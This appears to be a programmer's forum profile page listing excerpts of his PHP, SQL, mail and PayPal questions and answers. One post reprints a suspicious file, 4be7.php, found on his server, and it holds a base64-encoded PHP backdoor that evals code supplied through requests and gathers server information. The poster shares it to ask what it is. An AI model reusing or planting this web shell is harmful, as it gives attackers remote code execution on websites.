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I am a musician, a computer geek, opinionated, willing to change my mind and mostly I am an average bod getting by.
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 | Two files to edit/maintain a data array. data.php looks something like this: <?php $data_array[0]['key1'] = 'value'; $data_array[0]['key2'] = 'value'; $data_array[1]['key1'] = 'value'; $data_array[1]['key2'] = 'value'; $data_array[2]['key1'] = 'value'; $data_array[2]['key2'] = 'value'; ?> admin.php works something like this: function get_data() { include 'data.php'; // do a load of stuff with $data_array … |
| | I have a plug-in for a payment gateway for a WordPress installation with a WooCommerce shopping plug-in. The payment gateway plug-in fails at the checkout. The error message may be a distraction at this point as I only want some more general advice. The error is suggesting some problem with … |
| | Hello, I am getting a bit confused regarding apostrophes in my SQL statement. I can get it to work but I would like to understand why it works when it does or, conversely, why it doesn't work when it doesn't. If you know what I mean. Anyway - here goes: …  |
| | Hi Everybody, I hope someone can help with this, it's taken so long to get this close but I just can't figure out the last small (but show stopping) detail. I start with a string of text and a font-face entered/selected via a form. I am using imagettfbbox to determine … |
 | Re: SQL SYNTAX I believe that it should look something like this: $my_conn = new mysqli('localhost', 'user name', 'password', 'database name'); $sql = "SELECT * FROM messages"; $result = $my_conn->query($sql); while ($obj = $result->fetch_object()) { echo = $obj->message; } I could easily be wrong though ... hope this helps, Simon. |
| | `AuthUserFile "/home/machiner/.htpasswds/public_html/passwd` looks a bit iffy to me (I could be wrong, very easily!). Should it be`AuthUserFile "/home/machiner/public_html/passwd/.htpasswds` perhaps? |
| | Hi, thanks for looking at this post. I have searched and experimented and after hours of getting really close I have finally admitted to my self that I'm going to have to stop and ask directions! So, I want the browser address http://drivingmeinsane/Join to be re-written to http://drivingmeinsane/?page=Join I've come … |
 | Try this, it processes everything before updating the database: <?php // Set your variables to empty if they haven't been submitted: if (isset($_POST['First_Name'])) { $First_Name = $_POST['First_Name']; } else { $First_Name = ''; } if (isset($_POST['Last_Name'])) { $Last_Name = $_POST['Last_Name']; } else { $Last_Name = ''; } if (isset($_POST['Email'])) { … |
| | You have got a mail server running haven't you? I use IIS/PHP on Windows and I run Mercury Mail Server (because the IIS mail server is a bit of a mystery to me) to handle the email. I'm guessing that Apache/PHP on windows will also need a mail server. Also, …  |
| | I have created a customised shopping cart coded in PHP. Once the user has filled their cart they hit checkout and all of the details, including the address detail, are posted into a PayPal shopping cart and the user can pay using a PayPal account or a credit card. After … |
 | I shed blood sweat and tears writing mail scripts (it's usually something to do with the boundaries or new line characters) until I found this: http://code.google.com/a/apache-extras.org/p/phpmailer/wiki/PHPMailer?tm=6 |
 | This might help ... http://css-tricks.com/dynamic-dropdowns/ |
| | Bit of a long shot ... what happens if you set the header location to http//www.website.com/$url ? |
| | Hi All, I have inherited a web site which is really a bit beyond me ... there's no option though, I've got to figure it out, so ... The whole site uses Apache/Python/Django/Satchmo. I want to set up a sub-domain which uses a simple Apache/PHP set up. I'm guessing that … |
| | I found a file called 4be7.php in the root of my web site. I guess my first worry is how did it get there? Well, I've changed my FTP log on, what else can I do? Secondly, what is it? Here's what's in it: [CODE]<?php //176e622a9e272282a4a56a9100f5b75d $_= //ppZiAAS8dDJF9Q*(#_+@#TWyJ 'Ci8qKgogKiBAdmVyc2lvbiAyLjYKICoKICovCmlmIChpc3NldCgkX1BPU1RbImFjdGlvbiJdKSkKewogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJhY3Rpb24iXSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJ0ZXN0IjoKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInJlZ3VsYXJfdGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3VsYXJfdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1haWwiOgogICAgICAgICAgICAgICAgICAgICAgICBzZW5kKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybjsKfQoKaWYgKGNvdW50KCRfR0VUKSA+IDApCnsKICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkaWQgPT4gJGNvZGUpCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRpZCA9PSAiaWQiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkY29kZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmZ1bmN0aW9uIHRlc3QoKQp7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9ICIiOwoKICAgICAgICAkZGF0YVsidmVyc2lvbiJdID0gcGhwdmVyc2lvbigpOwogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0pKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICJOb3QgQXZhaWxhYmxlIjsKICAgICAgICB9CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKDgpOwogICAgICAgICRkYXRhWyJtb2R1bGVzIl0gPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgICRkYXRhWyJleHRfY29ubmVjdCJdID0gZm9wZW4oImh0dHA6Ly93d3cueWEucnUvIiwgInIiKSA/IFRSVUUgOiBGQUxTRTsKICAgICAgICAkc2VyaWFsaXplc19kYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgICAkZW5jb2RlZF9kYXRhID0gYmFzZTY0X2VuY29kZSgkc2VyaWFsaXplc19kYXRhKTsKICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl0gLiAkZW5jb2RlZF9kYXRhOwp9CgpmdW5jdGlvbiByZWd1bGFyX3Rlc3QoKQp7CgogICAgICAgICR0byA9ICJhaXJAZXhhbXBsZS5jb20iOwogICAgICAgICRzdWJqID0gIlNVQkohIjsKICAgICAgICAkbWVzc2FnZSA9ICJFSExPIjsKICAgICAgICAkcmVzID0gbWFpbCgkdG8sJHN1YmosJG1lc3NhZ2UpOwogICAgICAgIGlmKCRyZXMpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gc3RycmV2KCRfUE9TVFsidGVzdF9tZXNzYWdlIl0pOwogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K'; //ppZiAAS8dDJF9Q*(#_+@#TWyJ … |
| | Hi, Very new to JavaScript so I'm sorry if this is a daft question, I have searched for answers first and could not find anything that works for me ... so .. The task: One html form with two submit buttons. On submit (save changes) posts back to the same … |
| | Hi, If I run the following mysql_query: [ICODE]SELECT * FROM products WHERE product_name LIKE '%SOM%'[/ICODE] I get the following results: [INDENT]SOM 1 - Coloured option SOM 2 - Magnetic Roof Sign SOM 4 - Magnetic Roof Sign - Centre L SOM 6 - Magnetic Roof Sign - Curved Top SOM … |
 | Stick the PHP code right at the top of the page (just to keep things neat and tidy really) above the HTML stuff. Create an empty variable, say $output_result before your existing code. Now, surround your code (not the empty variable) with an if statement. The if statement should test … |
| | Haven't read this all in too much detail so maybe I've got the wrong idea ... still, here's a thought ... Do you want to take the $_GET values and pass them to the next page when the user clicks submit on a form? You can leave the action blank … |
| | I used get to get this problem a lot and worked around it until I figured out that you need put all header('Location: index.php'); type expressions before you send any page headers. It looks to me like you are doing this in the middle of the html document, in fact … |
| | I want to send an email and I am using the code below. It always works on my test server and my production server which are both IIS on Windows. It sometimes works the client's server. Once or twice in ten it sends. The client's server is running Apache on … |
| | I have seen the mail function preceded with an @ symbol. I have tried it in my code and I cannot see what difference it makes. I have searched Google and the PHP documentation and I have not been able to find an explanation for this @ symbol. Would someone … |
| | create a variable before the loop and set its value to 1 inside the loop, call your radio button something like my_button_X where X is the value created above. then add one to the variable before ending the loop. You could also send the final value of the variable as … |
| | I don't want slashes in my $_POST values. I want to deal with that kind if thing myself. I am having problems getting rid of said slashes. You can see the results of the following code here: [URL="http://www.slyme.co.uk/sanitise.php"]http://www.slyme.co.uk/sanitise.php[/URL] View the source - htmlentities seems to work, stripslashes doesn't unless I … |
 | I think Nvu may be of interest - just google Nvu, you'll find it. |
| | Is "one two three" one form field? If so, you will first need to check for more than one word and then form your query to search the record field for one OR two OR three. I am sure this can be achieved in the SQL SELECT statement but I … |
| | Hi, thanks for reading this ... I am passing this value (for example) to PayPal: [CODE]<input type="hidden" name="item_name" value="Ménàge à Trois California Red Wine 2007">[/CODE] The Pay Pal Shopping Cart displays this value as 'M�n�ge � Trois California Red Wine 2007' I'm guessing that this has something to do with … |
| | Re: starting PHP If you want to do it the 'Dreamweaver Way' you could start here: [url]http://www.adobe.com/devnet/dreamweaver/application_development.html[/url] |
| | Give the users two fields - one to identify the user and one for the embedded object code from the youtube video - stick 'em both into a database and you can then read the database to output the listings. You could also stick the youtube homepage in an iframe … |
| | How do you know whether a user is an admin or a regular member? If it is a database field then simply display that as well.  |